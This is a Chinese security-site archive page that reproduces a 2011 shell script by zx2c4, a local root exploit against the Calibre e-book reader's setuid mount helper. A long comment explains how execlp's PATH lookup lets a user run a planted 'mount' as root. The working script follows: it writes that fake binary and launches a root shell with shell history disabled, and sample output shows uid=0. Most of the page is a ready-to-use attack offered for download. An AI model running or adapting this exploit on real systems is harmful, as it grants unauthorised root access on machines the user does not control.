首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Calibre E-Book Reader Local Root Exploit
来源:vfocus.net 作者:zx2c4 发布时间:2011-11-03  

#!/bin/sh

                  #######################################
                  #     .50-Calibrer Assault Mount      #
                  #              by zx2c4               #
                  #######################################

################################################################################
# Calibre uses a suid mount helper, and like nearly all suid mount helpers that
# have come before it, it's badly broken. Let's go through Calibre's faulty code
# available at http://pastebin.com/auz9SULi and look at the array of silly
# things done, only one of which we actually need to get root.
#
# In this spot here, we can create a directory owned by root anywhere we want:
#
# 47     if (!exists(mp)) {
# 48         if (mkdir(mp, S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH) != 0) {
# 49             errsv = errno;
# 50             fprintf(stderr, "Failed to create mount point with error: %s\n", strerror(errsv));
# 51         }
# 52     }
#
# At this point, we can remove any empty directory we want:
#
# 172     rmd = rmdir(mp);
#
# And elsewhere, we can create and remove anything_we_want/.some_stupid_marker.
# I'm sure you can figure out how to exploit these kinds of things :-P.
#
# We also get the ability with this wonderful mount-helper to unmount and eject
# any device that we want (as root), as well as mount any vfat filesystem that
# we'd like.
#
# Not only that, but we can pass params directly to mount, to some degree:

# 83     execlp("mount", "mount", "-t", "auto", "-o", options, dev, mp, NULL);
#
# On this line, "dev" and "mp" are controlled by argv[2] and argv[3]. I'm sure
# you can find fun things to do with this as well. (There -s and also the man
# pages say the last -o is respected, etc etc. Be creative.)
#
# But there's also something lurking that is way worse in this line. Is that
# "execlp" we see? Yes.  According to the man pages:
#
#     The execlp(), execvp(), and execvpe() functions duplicate the  actions  of
#     the  shell  in searching  for  an  executable file if the specified
#     filename does not contain a slash (/) character.
#
# execlp searchs PATH for where to find "mount", and then runs it as root. And,
# with great joy, we find that we can trivially control PATH by setting it
# before running the mount helper. So the attack plan is simple:
#
#    1. Make an executable named "mount" in the current directory that executes
#       a shell.
#    2. PATH=".:$PATH" calibre-mount-helper mount something somethingelse
#
# And that's it! We have root. The below exploit creates things in a temporary
# directory that gets cleaned up and displays some status information along the
# way.
#
# - zx2c4
# 2011-11-1
#
# Usage:
# $ ./50calibrerassaultmount.sh
# [+] Making temporary directory: /tmp/tmp.q5ktd8UcxP
# [+] Making mount point.
# [+] Writing malicious mounter.
# [+] Overriding PATH and getting root.
# [+] Cleaning up: /tmp/tmp.q5ktd8UcxP
# [+] Checking root: uid=0(root) gid=0(root) groups=0(root)
# [+] Launching shell.
# sh-4.2#
#
################################################################################


set -e
echo "#######################################"
echo "#     .50-Calibrer Assault Mount      #"
echo "#              by zx2c4               #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making mount point."
mkdir mountpoint
echo "[+] Writing malicious mounter."
cat > mount <<END
#!/bin/sh
cd /
echo "[+] Cleaning up: $dir"
rm -rf "$dir"
echo -n "[+] Checking root: "
id
echo "[+] Launching shell."
HISTFILE="/dev/null" exec /bin/sh
END
chmod +x mount
echo "[+] Overriding PATH and getting root."
PATH=".:$PATH" calibre-mount-helper mount /dev/null mountpoint


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle Hyperion Financial Mana
·Linux kernel version 2.6.37-rc
·phpMyAdmin Arbitrary File Read
·LifeSize Room Command Injectio
·Mozilla Firefox 7.0.1 Nightly
·Linux 2.6.18 - 2011 vmsplice L
·Calibre E-Book Reader Local Ro
·Calibre E-Book Reader Local Ro
·YaTFTPSvr TFTP Server Director
·NJStar Communicator 3.00 MiniS
·DreamBox DM800 <= 1.5rc1 Remot
·Mini-Stream 3.0.1.1 Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved